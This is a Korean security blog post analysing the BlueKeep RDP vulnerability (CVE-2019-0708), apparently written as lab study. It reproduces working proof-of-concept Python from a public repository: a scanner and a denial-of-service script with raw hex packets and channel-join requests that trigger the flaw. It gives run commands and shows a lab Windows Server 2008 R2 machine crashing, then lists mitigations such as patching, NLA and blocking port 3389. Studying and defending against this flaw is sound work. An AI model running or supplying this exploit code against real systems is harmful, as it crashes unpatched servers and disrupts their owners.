관리 메뉴

FU11M00N

[모의해킹]CVE-2019-0708 Bluekeep 취약점 본문

Penetration testing/Try Attack

[모의해킹]CVE-2019-0708 Bluekeep 취약점

호IT 2020. 11. 20. 23:59

허가 받지 않은 공간에서는 테스트를 절대 금지합니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.

- 취약점 개요


 마이크로소프트(MS)는 지난 5월 정기 패치를 통해 원격 터미널 접속에 
 사용되는 RDP(Remote Desktop Protocol) 프로토콜에서 발견된 원격코드 실행 취약점에 대한 보안 업데이트를 발표하였다. 패치 권고안에 따르면 해당 취약점을 악용할 경우 공격자는 인증 없이도 서버에 코드 실행이 가능하다. 취약점의 심각도를 고려하여 MS는 업데이트 지원이 끝난 윈도우 XP, 2003 등에도 보안 업데이트를 배포하였다.

 현재 해당 취약점에 대한 실제 공격 코드 및 이를 악용한 대규모 공격 사례는 보고되고 있지 않으나 보안업체 Errata Security의 조사에 따르면 95만 대 가량의 윈도우 시스템이 해당 취약점에 
 노출되어 있는 것으로 조사되었으며, 지속적으로 취약점에 대한 연구가 진행되고 있으므로 이에 대한 대비가 필요하다.

 

- 취약점 정의

 윈도우 원격 데스크톱 서비스(Remote Desktop Service)를 이용해 정상적인 인증 단계를 거칠 필요 없이 원격에서 임의의 코드를 실행하는 취약점.

 정보 보안 취약점 표준 코드(Common Vulnerabilities and Exposures) 
 CVE-2019-0708.

 

 

- 취약점 특징

특징 설명
워머블(Wormable) 웜처럼 증식이 가능하게 한다는 것으로 멀웨어 공격자들이 이를 활용할 경우 효율 높은 감염률을 기록.
이터널블루(EternalBlue) 패치 되지 않은 구형 윈도우 PC를 하이재킹 하기 쉽게 만들어주는 해킹 툴

 

블루킵 취약점은 워너크라이의 랜섬웨어 공격 방식과 워머블 취약점의 이터널블루를 악용하여 웜을 증식시킨다.

 

취약점 작동 원리

 

공격자는 특수하게 조작된 패킷을 전송하여 채널 ID 값을 RDP 서비스가 예상하지 않는 것으로 설정할 수 있으며, 이는 원격 코드 실행 조건을 만드는 메모리 손상 버그를 발생시킨다. 공격자가 이 결함을 이용하도록 설계된 패킷을 추적하기로 선택한 경우 시스템 사용자 권한을 통해 원격 코드 실행을 달성할 수 있다.

 

블루킵 취약점은 사전 승인 중에 발생하며 NT Authority\system에서 임의의 악성 코드를 실행할 수 있는 가능성이 있다.

 

- 위험 영향도

블루킵 취약점의 가장 큰 특성은 워머블, 즉 웜 방식으로 악성 요소를 증폭시킨다는 것이다 또한, 공격자는 인증 단계를 거치지 않고, RDP를 통해 특수하게 조작된 요청을 공격 표적 시스템에 전송함으로써, 임의의 코드를 실행시켜 장비의 통제권을 가져올 수 있는 위험이 있다.

또한 워너크라이 랜섬웨어 멀웨어 툴은 블루킵의 특징 중 하나인 이터널블루의 익스플로잇 을 통한 공격이 이루어졌다. IT 시스템을 평가하는 CVSS에서 블루킵 취약점에 대해 9.8 점수를 부여하였다.

 

- 영향 있는 제품

블루킵(CVE-2019-0708) 에게 영향 있는 제품
Windwos Xp
Windows 7
Windows Server 2003
Windows Server 2008
Windows Server 2008 R2
Windows XP SP3 X86
Windows XP Professional x64 Edition SP2
Windows XP Embedded SP3 X86
Windows Server 2003 SP2 x86
Windows Server 2003 x64 Edition Pack 1
Windows 7 for 32-bit System Service Pack1
Windows Server 2008 for 32-bit Systems Service Pace 2
Windows Server 2008 for x64-based System Service Pack 2
Windows Server 2008 R2 for Itaninum-Based System Service Pack 1
Windows Server 2008 R2 for-based Systems Service Pack 1

- 취약점 분석

 

코드 다운로드

 

“git clone https://github.com/Ekultek/BlueKeep” 명령어를 수행하여 Bluekeep 취약점의 시연을 위한 개념증명 코드를 다운 받는다.

 

모듈러 설치

 

Bluekeep 취약점을 시연하기위해 “pip install -r requirements.txt” 명령어를 수행하여 관련된 모듈들을 설치해준다.

 

설치된 파일 확인

 

다운을 받은 파일 안에는 “bluekeep_dos.py” 와 “bluekeep_poc.py” 파일이 있다. “bluekeep_poc.py”는 공격하기 전 대상 시스템에 공격 가능 여부를 판단하기 위한 소스코드이다. “bluekeep_dos.py”는 피해자 PC에 Dos 패킷을 보내 Crush를 발생시키게 하는 소스코드이다.

 

- bluekeep_poc.py

def check_rdp_service(address, port=3389):
    rdp_correlation_packet = Packer(
        "436f6f6b69653a206d737473686173683d75736572300d0a010008000100000000"
    ).bin_unpack()
    test_packet = DoPduConnectionSequence().connection_request_pdu()
    send_packet = test_packet + rdp_correlation_packet
    results = socket_connection(send_packet, address, port, receive_size=9126)
    if results is not None:
        if results[0]:
            info("successfully connected to RDP service on host: {}".format(address))
            GIS_RDP.append(address)
        else:
            error("unknown response provided from RDP session")
    else:
        error("unable to connect")

Bluekeep_poc.py의 소스 코드중 일부분이다.

RDP의 서비스가 활성화 되어 있는지 확인하기 위해 고정적인 패킷값을 전송하여 확인한다.

for ip in ip_addresses:
        try:
            ip = ip.strip()
            results = socket_connection(tpkt.getData(), ip, port, receive_size=1024)
            ctx = SSL.Context(SSL.TLSv1_METHOD)
            tls = SSL.Connection(ctx, results[1])
            tls.set_connect_state()
            tls.do_handshake()

            # initialization packets (X.224)
            info("sending Client MCS Connect Initial PDU request packet {}".format(SENT))
            tls.sendall(DoPduConnectionSequence().mcs_connect_init_pdu())
            returned_packet = tls.recv(8000)
            info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))

tls.do_handshake()를 통해 SSL/TLS 연결을 시도하고 초기화 패킷을 전송한다.

info("sending Client MCS Domain Request PDU packet {}".format(SENT))
            tls.sendall(DoPduConnectionSequence().domain_request_pdu())
            info("sending Client MCS Attach User PDU request packet {}".format(SENT))
            tls.sendall(DoPduConnectionSequence().mcs_attach_user_request_pdu())
            returned_packet = tls.recv(8000)
            info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))

도메인을 설정하고 사용자를 도메인에 연결한다.

# send join requests on ridiculously high channel numbers to trigger the bug
            info("sending MCS Channel Join Request PDU packets{}".format(SENT))
            pdus = DoPduConnectionSequence().do_join_request()
            for pdu in pdus:
                tls.sendall(pdu)
                channel_number = int(Packer(pdu).bin_pack()[-4:], 16)
                returned_packet = tls.recv(1024)
                info("{} received {} bytes from channel {} on host: {}".format(
                    RECEIVE, hex(len(returned_packet)), channel_number, ip
                ))

높은 채널로 join request를 보내고 버그를 유발하여 공격 가능 여부를 알아낸다.

info("sending Client Synchronization PDU packet {}".format(SENT))
            tls.sendall(DoPduConnectionSequence().client_synchronization_pdu())
            info("sending Client Control Cooperate PDU packet {}".format(SENT))
            tls.sendall(DoPduConnectionSequence().client_control_cooperate_pdu())
            info("sending Client Control Request PDU packet {}".format(SENT))
            tls.sendall(DoPduConnectionSequence().client_control_request_pdu())
            info("sending Client Persistent Key Length PDU packet {}".format(SENT))
            tls.sendall(DoPduConnectionSequence().client_persistent_key_length_pdu())
            info("sending Client Font List PDU packet {}".format(SENT))
            tls.sendall(DoPduConnectionSequence().client_font_list_pdu())
            returned_packet = tls.recv(8000)
            info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))

연결 순서를 끝낸다.

 

- bluekeep_dos.py

session = socket.socket()
    session.connect((host, port))
    session.sendall(tpkt.getData())
    results = session.recv(8192)
    if verbose:
        print("[@] received: {}".format(repr(results)))
    # turn the session into a SSL connection
    ctx = SSL.Context(SSL.TLSv1_METHOD)
    tls = SSL.Connection(ctx, session)
    tls.set_connect_state()
    # handshake like a man
    tls.do_handshake()
    return tls

session.connet()를 통해 port 3389로 세션을 맺고 PDU 패킷을 초기화 한 뒤  tls.do_handshake()를 통해 SSL/TLS 연결을 시도한다.

 

 

def send_client_information_pdu_packet(tls):
    """
    client info packets
    """
    packet = unpack(
        "0300016102f08064000703eb7081524000a1a509040904bb47030000000e00080000000000000041004100410041004100410041000000"
        "740065007300740000000000000002001c003100390032002e004141410038002e003200330032002e0031000000400043003a005c0057"
        "0049004e0041414100570053005c00730079007300740065006d00330032005c006d007300740073006300610078002e0064006c006c00"
        "0000a40100004d006f0075006e007400610069006e0020005300740061006e0064006100720064002000540069006d0065000000000000"
        "00000000000000000000000000000000000b00000001000200000000000000000000004d006f0075006e007400610069006e0020004400"
        "610079006c0069006700680074002000540069006d00650000000000000000000000000000000000000000000000030000000200020000"
        "0000000000c4ffffff0100000006000000000064000000"
    )
    tls.sendall(bytes(packet))

대상 정보를 확인하기위해 패킷을 만들어 전송한다.

def send_channel_pdu_packets(tls, retval_size=1024, verbose=False):
    """
    channel join
    erect domain
    and user packets in one swoop
    """
    packet = unpack("0300000c02f0800401000100")
    tls.sendall(bytes(packet))
    packet = unpack("0300000802f08028")
    tls.sendall(bytes(packet))
    results = tls.recv(retval_size)
    if verbose:
        print("[@] received: {}".format(repr(results)))
    packet = unpack("0300000c02f08038000703eb")
    tls.sendall(bytes(packet))
    results = tls.recv(retval_size)
    if verbose:
        print("[@] received: {}".format(repr(results)))
    packet = unpack("0300000c02f08038000703ec")
    tls.sendall(bytes(packet))
    results = tls.recv(retval_size)
    if verbose:
        print("[@] received: {}".format(repr(results)))
    packet = unpack("0300000c02f08038000703ed")
    tls.sendall(bytes(packet))
    results = tls.recv(retval_size)
    if verbose:
        print("[@] received: {}".format(repr(results)))
    packet = unpack("0300000c02f08038000703ee")
    tls.sendall(bytes(packet))
    results = tls.recv(retval_size)
    if verbose:
        print("[@] received: {}".format(repr(results)))
    packet = unpack("0300000c02f08038000703ef")
    tls.sendall(bytes(packet))
    results = tls.recv(retval_size)
    if verbose:
        print("[@] received: {}".format(repr(results)))

버전에 알맞은 채널에 조인을 요청을 한다. 

def send_dos_packets(tls, arch_selected):
    """
    theoretically, the arch shouldn't matter, but for good measures we'll make it matter
    """
    arch_32_packet = unpack("0300002e02f08064000703ef70140c0000000300000000000000020000000000000000000000")
    arch_64_packet = unpack(
        "0300002e02f08064000703ef70140c000000030000000000000000000000020000000000000000000000000000000000000000000000"
    )
    if arch_selected == 32:
        send_packet = bytes(arch_32_packet)
    else:
        send_packet = bytes(arch_64_packet)
    tls.sendall(send_packet)

PUD 패킷이 만들어 연결이 되면 Dos 패킷을 생성해 전송한다.

 

 

실습 환경: VMware 16 Pro, Kali Linux 2020(공격자), Windows Server 2008 R2 Standard (희생자)

 

- 공격 시연

 

poc.py -h

 

“python bluekeep_poc.py -h” 명령어를 수행하여 option들의 설명을 볼 수 있다.

 

 

 

RDP 활성화

 

“python bluekeep_poc.py -i ip” 명령어를 수행하여 피해자 PC가 RDP가 활성화 되어있는지 알 수 있다.

 

 

SSL/TLS 통신 01

 

bluekeep_poc.py이 실행될 때 패킷 값을 확인해본다. 그럼 port는 3389로 연결 시도를 하고 SSL/TLS의 버전 정보가 1.0 인 것을 확인 할 수 있다.

 

SSL/TLS 통신 02

 

SSL/TLS 연결 과정 중 SSL/TLS 통신을 하고자 할 때 TLS 버전, Client(공격자)지원하는 cipher 리스트, Client(공격자)가 생성한 난수 정보를 확인 할 수 있다.

 

SSL/TLS 통신 03

 

Server(피해자 PC) 가 Client(공격자 PC) 에게 자신의 SSL 버전, 자신이 만든 임의의 난수와 클라이언트의 cipher 리스트 중 하나를 선택하여 해당 정보를 Client(공격자 PC)에게 보낸다. 그 후 “Server Hello Done”를 보낸다.

 

SSL/TLS 통신 04

 

Server가 가지고 있는 자신의 인증서 정보도 Client(공격자)에게 전송한다.

 

 

SSL/TLS 통신 05

 

클라이언트는 자신이 만든 난수와 서버가 만든 난수를 통해 pre-master-secret을 생성 한다. 그리고 서버의 공개키를 통해 암호화하여 서버로 전송한다. 즉, 해당 과정을 통해 실질적으로 암호화에 사용하는 대칭키를 생성한다.

 

SSL/TLS 통신 06

 

클라이언트는 협상 된 알고리즘과 키를 이용한다 즉 3389포트로 RDP 원격 요청과 SSL/TLS 연결 요청을 하는 것을 확인 할 수 있다.

 

 

 

dos.py 시연 01

 

“python bluekeep_dos.py -i IP” 명령어를 수행하여 피해자 PC에 Dos 패킷을 보내 Crush를 일으킨다.

 

dos.py 시연 02

 

bluekeep_dos.py 실행 중 패킷 정보 중 하나이다.

 

 

dos.py 시연 03

 

같이 패킷을 보면 SSL/TLS 통신 01~05 와 비슷한 패킷 정보 흐름을 가지고 있다가 dos 패킷을 보내고 잠시 후 서버 측에서는 RST 패킷을 보내는 것을 확인 할 수 있다.

 

 

dos.py 시연 04

 

피해자PC가 Crush가 발생하여 가용성이 파괴 된 모습이다.

 

- 대응방안

대응방안 설명
패 치 - 최신 버전의 윈도우로 업데이트
- 윈도우 XP, 윈도우 서버2003, 윈도우 서버2008 R2 등 취약한서버 패치 대상
서비스
접근 제어
- RDP를 Public Internet에 노출 시키지 않고 RDP설정을 변경 하여
  LAN이나 VPN장치만 접근 가능하도록 제한
NLA 활성화 - Network Level Authentication
- NLA은 블루킵을 부분적으로 완화가능
- NLA 원격 세션이 연결되기전에 사용자에 대한 인증을 요청
RDP
사용 제한
-TCP 3389 Port 비활성화
-원격 데스크톱 프로토콜을 사용하지 않도록 설정
다단계 보안 장비 구축 - 네트워크 단에서 익스플로잇 공격을 탐지하고 차단할 수 있는 보안장비 구축

 

 

 

- 총평 요약

TCP 3389 포트를 사용하는 윈도우 원격 데스크톱 서비스(RDS)를 스캔한다. 원격 데스크톱 서비스에 원격 코드 실행을 위한 악의적인 코드를 전송한다. 원격 데스크톱 서비스의 채널ID값을 조작하게 되면 원격지의 컴퓨터에서 메모리손상버그(Memory Currupton Bug)가 발생한다. 이후 NT Authorty\SYSTEM 사용자 권한으로 원격 코드가 실행한다.

하지만 아직 Crush를 일으키는 POC 코드만 공개 되어있다.

 

 

 

REF.

참조 홈페이지
https://blog.naver.com/rhdwlgjs/221681839350 - 블루킵 시연
 
http://www.igloosec.co.kr/BLOG_BlueKeep%20(CVE-2019-0708)?bbsCateId=1 – 이글루시큐리티 에서 발표한 블루킵
 
https://hanguk529.blog.me/221556264161 - 블루킵 시연 영상
 
https://blog.naver.com/ucert/221538878058 - 윈도우 RDP 원격코드 실행 취약점 보안 업데이트 권고
 
https://blog.naver.com/sdug12051205/221575581365 - 블루킵의 정의와 특징 공격 원리
 
http://blog.naver.com/PostView.nhn?blogId=aepkoreanet&logNo=221545778456&categoryNo=0&parentCategoryNo=1&viewDate=¤tPage=1&postListTopCurrentPage=1&from=search
블루킵의 정의
 
https://www.boannews.com/media/view.asp?idx=79971&kind=14 – 블루킵에 대한 보안뉴스
 
http://blog.naver.com/PostView.nhn?blogId=skinfosec2000&logNo=221575621614&parentCategoryNo=&categoryNo=&viewDate=&isShowPopularPosts=false&from=postView
SK인포섹 블로그에서 정의한 블루킵
 
https://smartits.tistory.com/213 RDP에 대해
 
https://hackthepacket.tistory.com/entry/%EC%A0%95%EC%83%81%ED%8A%B8%EB%9E%98%ED%94%BD%EA%B3%BC-DoS-%EA%B3%B5%EA%B2%A9%ED%8A%B8%EB%9E%98%ED%94%BD%EC%9D%84-%EC%96%B4%EB%96%BB%EA%B2%8C-%EA%B5%AC%EB%B6%84%ED%95%A0-%EC%88%98-%EC%9E%88%EC%9D%84%EA%B9%8C // DOS패킷 구분
 
https://run-it.tistory.com/29

 

Comments